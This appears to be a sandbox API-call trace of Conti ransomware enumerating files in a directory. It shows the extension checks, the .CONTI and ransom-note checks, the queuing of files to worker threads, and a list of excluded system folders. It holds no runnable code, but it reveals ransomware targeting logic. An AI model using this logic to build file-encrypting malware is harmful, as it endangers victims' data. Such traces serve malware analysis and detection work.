	[0094.017] StrStrIW (lpFirst="SetupUi.xsd", lpSrch=".CONTI") returned 0x0
	[0094.017] StrStrIW (lpFirst="SetupUi.xsd", lpSrch="CONTI_README.txt") returned 0x0
	[0094.017] StrStrIW (lpFirst="SetupUi.xsd", lpSrch=".exe") returned 0x0
	[0094.017] StrStrIW (lpFirst="SetupUi.xsd", lpSrch=".dll") returned 0x0
	[0094.017] StrStrIW (lpFirst="SetupUi.xsd", lpSrch=".lnk") returned 0x0
	[0094.017] StrStrIW (lpFirst="SetupUi.xsd", lpSrch=".sys") returned 0x0
	[0094.017] StrStrIW (lpFirst="SetupUi.xsd", lpSrch=".CONTI") returned 0x0
	[0094.017] StrStrIW (lpFirst="SetupUi.xsd", lpSrch="CONTI_README.txt") returned 0x0
	[0094.017] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0094.017] lstrlenW (lpString="SetupUi.xsd") returned 11
	[0094.017] GetProcessHeap () returned 0x1720000
	[0094.017] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x44) returned 0x173d3c8
	[0094.017] lstrcpyW (in: lpString1=0x173d3c8, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0094.017] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0094.018] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="SetupUi.xsd" | out: lpString1="C:\\588bce7c90097ed212\\SetupUi.xsd") returned="C:\\588bce7c90097ed212\\SetupUi.xsd"
	[0094.018] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c4a08) returned 1
	[0094.018] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6519be00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0x6519be00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x6519be00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x17758, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="SetupUtility.exe", cAlternateFileName="SETUPU~1.EXE")) returned 1
	[0094.018] lstrcmpiW (lpString1="SetupUtility.exe", lpString2=".") returned 1
	[0094.018] lstrcmpiW (lpString1="SetupUtility.exe", lpString2="..") returned 1
	[0094.018] StrStrIW (lpFirst="SetupUtility.exe", lpSrch=".CONTI") returned 0x0
	[0094.018] StrStrIW (lpFirst="SetupUtility.exe", lpSrch="CONTI_README.txt") returned 0x0
	[0094.018] StrStrIW (lpFirst="SetupUtility.exe", lpSrch=".exe") returned=".exe"
	[0094.018] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="SplashScreen.bmp", cAlternateFileName="SPLASH~1.BMP")) returned 1
	[0094.018] lstrcmpiW (lpString1="SplashScreen.bmp", lpString2=".") returned 1
	[0094.018] lstrcmpiW (lpString1="SplashScreen.bmp", lpString2="..") returned 1
	[0094.018] StrStrIW (lpFirst="SplashScreen.bmp", lpSrch=".CONTI") returned 0x0
	[0094.018] StrStrIW (lpFirst="SplashScreen.bmp", lpSrch="CONTI_README.txt") returned 0x0
	[0094.018] StrStrIW (lpFirst="SplashScreen.bmp", lpSrch=".exe") returned 0x0
	[0094.018] StrStrIW (lpFirst="SplashScreen.bmp", lpSrch=".dll") returned 0x0
	[0094.018] StrStrIW (lpFirst="SplashScreen.bmp", lpSrch=".lnk") returned 0x0
	[0094.018] StrStrIW (lpFirst="SplashScreen.bmp", lpSrch=".sys") returned 0x0
	[0094.018] StrStrIW (lpFirst="SplashScreen.bmp", lpSrch=".CONTI") returned 0x0
	[0094.018] StrStrIW (lpFirst="SplashScreen.bmp", lpSrch="CONTI_README.txt") returned 0x0
	[0094.018] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0094.018] lstrlenW (lpString="SplashScreen.bmp") returned 16
	[0094.018] GetProcessHeap () returned 0x1720000
	[0094.018] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x4e) returned 0x17bed60
	[0094.018] lstrcpyW (in: lpString1=0x17bed60, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0094.018] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0094.018] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="SplashScreen.bmp" | out: lpString1="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned="C:\\588bce7c90097ed212\\SplashScreen.bmp"
	[0094.703] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c4330) returned 1
	[0094.722] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x143bc400, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0x143bc400, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x143bc400, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x23420, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1
	[0094.722] lstrcmpiW (lpString1="sqmapi.dll", lpString2=".") returned 1
	[0094.722] lstrcmpiW (lpString1="sqmapi.dll", lpString2="..") returned 1
	[0094.722] StrStrIW (lpFirst="sqmapi.dll", lpSrch=".CONTI") returned 0x0
	[0094.722] StrStrIW (lpFirst="sqmapi.dll", lpSrch="CONTI_README.txt") returned 0x0
	[0094.722] StrStrIW (lpFirst="sqmapi.dll", lpSrch=".exe") returned 0x0
	[0094.722] StrStrIW (lpFirst="sqmapi.dll", lpSrch=".dll") returned=".dll"
	[0094.722] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3704, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="Strings.xml", cAlternateFileName="")) returned 1
	[0094.722] lstrcmpiW (lpString1="Strings.xml", lpString2=".") returned 1
	[0094.722] lstrcmpiW (lpString1="Strings.xml", lpString2="..") returned 1
	[0094.722] StrStrIW (lpFirst="Strings.xml", lpSrch=".CONTI") returned 0x0
	[0094.722] StrStrIW (lpFirst="Strings.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0094.722] StrStrIW (lpFirst="Strings.xml", lpSrch=".exe") returned 0x0
	[0094.722] StrStrIW (lpFirst="Strings.xml", lpSrch=".dll") returned 0x0
	[0094.722] StrStrIW (lpFirst="Strings.xml", lpSrch=".lnk") returned 0x0
	[0094.722] StrStrIW (lpFirst="Strings.xml", lpSrch=".sys") returned 0x0
	[0094.723] StrStrIW (lpFirst="Strings.xml", lpSrch=".CONTI") returned 0x0
	[0094.723] StrStrIW (lpFirst="Strings.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0094.723] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0094.723] lstrlenW (lpString="Strings.xml") returned 11
	[0094.723] GetProcessHeap () returned 0x1720000
	[0094.723] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x44) returned 0x173d3c8
	[0094.723] lstrcpyW (in: lpString1=0x173d3c8, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0094.723] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0094.723] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="Strings.xml" | out: lpString1="C:\\588bce7c90097ed212\\Strings.xml") returned="C:\\588bce7c90097ed212\\Strings.xml"
	[0094.723] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c4578) returned 1
	[0094.726] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x97f2, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1
	[0094.726] lstrcmpiW (lpString1="UiInfo.xml", lpString2=".") returned 1
	[0094.727] lstrcmpiW (lpString1="UiInfo.xml", lpString2="..") returned 1
	[0094.727] StrStrIW (lpFirst="UiInfo.xml", lpSrch=".CONTI") returned 0x0
	[0094.730] StrStrIW (lpFirst="UiInfo.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0094.730] StrStrIW (lpFirst="UiInfo.xml", lpSrch=".exe") returned 0x0
	[0094.730] StrStrIW (lpFirst="UiInfo.xml", lpSrch=".dll") returned 0x0
	[0094.730] StrStrIW (lpFirst="UiInfo.xml", lpSrch=".lnk") returned 0x0
	[0094.730] StrStrIW (lpFirst="UiInfo.xml", lpSrch=".sys") returned 0x0
	[0094.730] StrStrIW (lpFirst="UiInfo.xml", lpSrch=".CONTI") returned 0x0
	[0094.730] StrStrIW (lpFirst="UiInfo.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0094.730] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0094.730] lstrlenW (lpString="UiInfo.xml") returned 10
	[0094.730] GetProcessHeap () returned 0x1720000
	[0094.730] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x42) returned 0x173d4b8
	[0094.730] lstrcpyW (in: lpString1=0x173d4b8, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0094.730] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0094.731] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="UiInfo.xml" | out: lpString1="C:\\588bce7c90097ed212\\UiInfo.xml") returned="C:\\588bce7c90097ed212\\UiInfo.xml"
	[0094.731] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c5328) returned 1
	[0094.733] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0x19688, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="watermark.bmp", cAlternateFileName="WATERM~1.BMP")) returned 1
	[0094.733] lstrcmpiW (lpString1="watermark.bmp", lpString2=".") returned 1
	[0094.733] lstrcmpiW (lpString1="watermark.bmp", lpString2="..") returned 1
	[0094.733] StrStrIW (lpFirst="watermark.bmp", lpSrch=".CONTI") returned 0x0
	[0094.734] StrStrIW (lpFirst="watermark.bmp", lpSrch="CONTI_README.txt") returned 0x0
	[0094.734] StrStrIW (lpFirst="watermark.bmp", lpSrch=".exe") returned 0x0
	[0094.734] StrStrIW (lpFirst="watermark.bmp", lpSrch=".dll") returned 0x0
	[0094.735] StrStrIW (lpFirst="watermark.bmp", lpSrch=".lnk") returned 0x0
	[0094.735] StrStrIW (lpFirst="watermark.bmp", lpSrch=".sys") returned 0x0
	[0094.735] StrStrIW (lpFirst="watermark.bmp", lpSrch=".CONTI") returned 0x0
	[0094.735] StrStrIW (lpFirst="watermark.bmp", lpSrch="CONTI_README.txt") returned 0x0
	[0094.735] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0094.738] lstrlenW (lpString="watermark.bmp") returned 13
	[0094.738] GetProcessHeap () returned 0x1720000
	[0094.738] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x48) returned 0x173d058
	[0094.738] lstrcpyW (in: lpString1=0x173d058, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0094.739] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0094.739] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="watermark.bmp" | out: lpString1="C:\\588bce7c90097ed212\\watermark.bmp") returned="C:\\588bce7c90097ed212\\watermark.bmp"
	[0094.739] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c57b8) returned 1
	[0094.742] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x2120bc00, ftLastWriteTime.dwHighDateTime=0x1cac6c9, nFileSizeHigh=0x0, nFileSizeLow=0x4f5113, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="Windows6.0-KB956250-v6001-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1
	[0094.742] lstrcmpiW (lpString1="Windows6.0-KB956250-v6001-x64.msu", lpString2=".") returned 1
	[0094.742] lstrcmpiW (lpString1="Windows6.0-KB956250-v6001-x64.msu", lpString2="..") returned 1
	[0094.742] StrStrIW (lpFirst="Windows6.0-KB956250-v6001-x64.msu", lpSrch=".CONTI") returned 0x0
	[0094.742] StrStrIW (lpFirst="Windows6.0-KB956250-v6001-x64.msu", lpSrch="CONTI_README.txt") returned 0x0
	[0094.742] StrStrIW (lpFirst="Windows6.0-KB956250-v6001-x64.msu", lpSrch=".exe") returned 0x0
	[0094.742] StrStrIW (lpFirst="Windows6.0-KB956250-v6001-x64.msu", lpSrch=".dll") returned 0x0
	[0094.742] StrStrIW (lpFirst="Windows6.0-KB956250-v6001-x64.msu", lpSrch=".lnk") returned 0x0
	[0094.743] StrStrIW (lpFirst="Windows6.0-KB956250-v6001-x64.msu", lpSrch=".sys") returned 0x0
	[0094.743] StrStrIW (lpFirst="Windows6.0-KB956250-v6001-x64.msu", lpSrch=".CONTI") returned 0x0
	[0094.743] StrStrIW (lpFirst="Windows6.0-KB956250-v6001-x64.msu", lpSrch="CONTI_README.txt") returned 0x0
	[0094.743] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0094.743] lstrlenW (lpString="Windows6.0-KB956250-v6001-x64.msu") returned 33
	[0094.743] GetProcessHeap () returned 0x1720000
	[0094.743] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x70) returned 0x1740be0
	[0094.743] lstrcpyW (in: lpString1=0x1740be0, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0094.748] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0094.748] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="Windows6.0-KB956250-v6001-x64.msu" | out: lpString1="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu"
	[0094.749] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c57b8) returned 1
	[0094.749] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x1bbe7400, ftLastWriteTime.dwHighDateTime=0x1cac6bf, nFileSizeHigh=0x0, nFileSizeLow=0x217520, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="Windows6.0-KB956250-v6001-x86.msu", cAlternateFileName="WINDOW~2.MSU")) returned 1
	[0094.749] lstrcmpiW (lpString1="Windows6.0-KB956250-v6001-x86.msu", lpString2=".") returned 1
	[0094.749] lstrcmpiW (lpString1="Windows6.0-KB956250-v6001-x86.msu", lpString2="..") returned 1
	[0094.749] StrStrIW (lpFirst="Windows6.0-KB956250-v6001-x86.msu", lpSrch=".CONTI") returned 0x0
	[0094.749] StrStrIW (lpFirst="Windows6.0-KB956250-v6001-x86.msu", lpSrch="CONTI_README.txt") returned 0x0
	[0094.749] StrStrIW (lpFirst="Windows6.0-KB956250-v6001-x86.msu", lpSrch=".exe") returned 0x0
	[0094.749] StrStrIW (lpFirst="Windows6.0-KB956250-v6001-x86.msu", lpSrch=".dll") returned 0x0
	[0094.749] StrStrIW (lpFirst="Windows6.0-KB956250-v6001-x86.msu", lpSrch=".lnk") returned 0x0
	[0094.749] StrStrIW (lpFirst="Windows6.0-KB956250-v6001-x86.msu", lpSrch=".sys") returned 0x0
	[0094.749] StrStrIW (lpFirst="Windows6.0-KB956250-v6001-x86.msu", lpSrch=".CONTI") returned 0x0
	[0094.749] StrStrIW (lpFirst="Windows6.0-KB956250-v6001-x86.msu", lpSrch="CONTI_README.txt") returned 0x0
	[0094.749] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0094.749] lstrlenW (lpString="Windows6.0-KB956250-v6001-x86.msu") returned 33
	[0094.749] GetProcessHeap () returned 0x1720000
	[0094.749] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x70) returned 0x17404d8
	[0094.749] lstrcpyW (in: lpString1=0x17404d8, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0094.749] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0094.749] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="Windows6.0-KB956250-v6001-x86.msu" | out: lpString1="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu"
	[0094.750] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c4578) returned 1
	[0094.750] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x5b8e5700, ftLastWriteTime.dwHighDateTime=0x1cac6d1, nFileSizeHigh=0x0, nFileSizeLow=0x4db1ce, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="Windows6.1-KB958488-v6001-x64.msu", cAlternateFileName="WINDOW~3.MSU")) returned 1
	[0094.750] lstrcmpiW (lpString1="Windows6.1-KB958488-v6001-x64.msu", lpString2=".") returned 1
	[0094.750] lstrcmpiW (lpString1="Windows6.1-KB958488-v6001-x64.msu", lpString2="..") returned 1
	[0094.750] StrStrIW (lpFirst="Windows6.1-KB958488-v6001-x64.msu", lpSrch=".CONTI") returned 0x0
	[0094.750] StrStrIW (lpFirst="Windows6.1-KB958488-v6001-x64.msu", lpSrch="CONTI_README.txt") returned 0x0
	[0094.750] StrStrIW (lpFirst="Windows6.1-KB958488-v6001-x64.msu", lpSrch=".exe") returned 0x0
	[0094.750] StrStrIW (lpFirst="Windows6.1-KB958488-v6001-x64.msu", lpSrch=".dll") returned 0x0
	[0094.750] StrStrIW (lpFirst="Windows6.1-KB958488-v6001-x64.msu", lpSrch=".lnk") returned 0x0
	[0094.750] StrStrIW (lpFirst="Windows6.1-KB958488-v6001-x64.msu", lpSrch=".sys") returned 0x0
	[0094.750] StrStrIW (lpFirst="Windows6.1-KB958488-v6001-x64.msu", lpSrch=".CONTI") returned 0x0
	[0094.750] StrStrIW (lpFirst="Windows6.1-KB958488-v6001-x64.msu", lpSrch="CONTI_README.txt") returned 0x0
	[0094.750] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0094.750] lstrlenW (lpString="Windows6.1-KB958488-v6001-x64.msu") returned 33
	[0094.750] GetProcessHeap () returned 0x1720000
	[0094.750] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x70) returned 0x1740898
	[0094.750] lstrcpyW (in: lpString1=0x1740898, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0094.751] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0094.751] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="Windows6.1-KB958488-v6001-x64.msu" | out: lpString1="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu"
	[0094.751] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c4a08) returned 1
	[0094.751] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 1
	[0094.751] lstrcmpiW (lpString1="Windows6.1-KB958488-v6001-x86.msu", lpString2=".") returned 1
	[0094.751] lstrcmpiW (lpString1="Windows6.1-KB958488-v6001-x86.msu", lpString2="..") returned 1
	[0094.751] StrStrIW (lpFirst="Windows6.1-KB958488-v6001-x86.msu", lpSrch=".CONTI") returned 0x0
	[0094.751] StrStrIW (lpFirst="Windows6.1-KB958488-v6001-x86.msu", lpSrch="CONTI_README.txt") returned 0x0
	[0094.751] StrStrIW (lpFirst="Windows6.1-KB958488-v6001-x86.msu", lpSrch=".exe") returned 0x0
	[0094.751] StrStrIW (lpFirst="Windows6.1-KB958488-v6001-x86.msu", lpSrch=".dll") returned 0x0
	[0094.751] StrStrIW (lpFirst="Windows6.1-KB958488-v6001-x86.msu", lpSrch=".lnk") returned 0x0
	[0094.751] StrStrIW (lpFirst="Windows6.1-KB958488-v6001-x86.msu", lpSrch=".sys") returned 0x0
	[0094.751] StrStrIW (lpFirst="Windows6.1-KB958488-v6001-x86.msu", lpSrch=".CONTI") returned 0x0
	[0094.752] StrStrIW (lpFirst="Windows6.1-KB958488-v6001-x86.msu", lpSrch="CONTI_README.txt") returned 0x0
	[0094.752] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0094.752] lstrlenW (lpString="Windows6.1-KB958488-v6001-x86.msu") returned 33
	[0094.752] GetProcessHeap () returned 0x1720000
	[0094.752] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x70) returned 0x1740730
	[0094.752] lstrcpyW (in: lpString1=0x1740730, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0094.752] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0094.752] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="Windows6.1-KB958488-v6001-x86.msu" | out: lpString1="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu"
	[0094.752] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c5328) returned 1
	[0094.752] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 0
	[0094.752] GetProcessHeap () returned 0x1720000
	[0094.752] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1738d70 | out: hHeap=0x1720000) returned 1
	[0094.752] FindClose (in: hFindFile=0x175e670 | out: hFindFile=0x175e670) returned 1
	[0094.752] GetProcessHeap () returned 0x1720000
	[0094.752] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1738d00 | out: hHeap=0x1720000) returned 1
	[0094.753] FindNextFileW (in: hFindFile=0x175e830, lpFindFileData=0x5c3fb20 | out: lpFindFileData=0x5c3fb20*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffff, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1
	[0094.753] lstrcmpiW (lpString1="Boot", lpString2=".") returned 1
	[0094.753] lstrcmpiW (lpString1="Boot", lpString2="..") returned 1
	[0094.753] lstrcmpiW (lpString1="Boot", lpString2="tmp") returned -1
	[0094.753] lstrcmpiW (lpString1="Boot", lpString2="winnt") returned -1
	[0094.753] lstrcmpiW (lpString1="Boot", lpString2="Application Data") returned 1
	[0094.753] lstrcmpiW (lpString1="Boot", lpString2="AppData") returned 1
	[0094.753] lstrcmpiW (lpString1="Boot", lpString2="temp") returned -1
	[0094.753] lstrcmpiW (lpString1="Boot", lpString2="thumb") returned -1
	[0094.753] lstrcmpiW (lpString1="Boot", lpString2="$Recycle.Bin") returned 1
	[0094.753] lstrcmpiW (lpString1="Boot", lpString2="$RECYCLE.BIN") returned 1
	[0094.754] lstrcmpiW (lpString1="Boot", lpString2="System Volume Information") returned -1
	[0094.754] lstrcmpiW (lpString1="Boot", lpString2="Program Files") returned -1
	[0094.754] lstrcmpiW (lpString1="Boot", lpString2="Program Files (x86)") returned -1
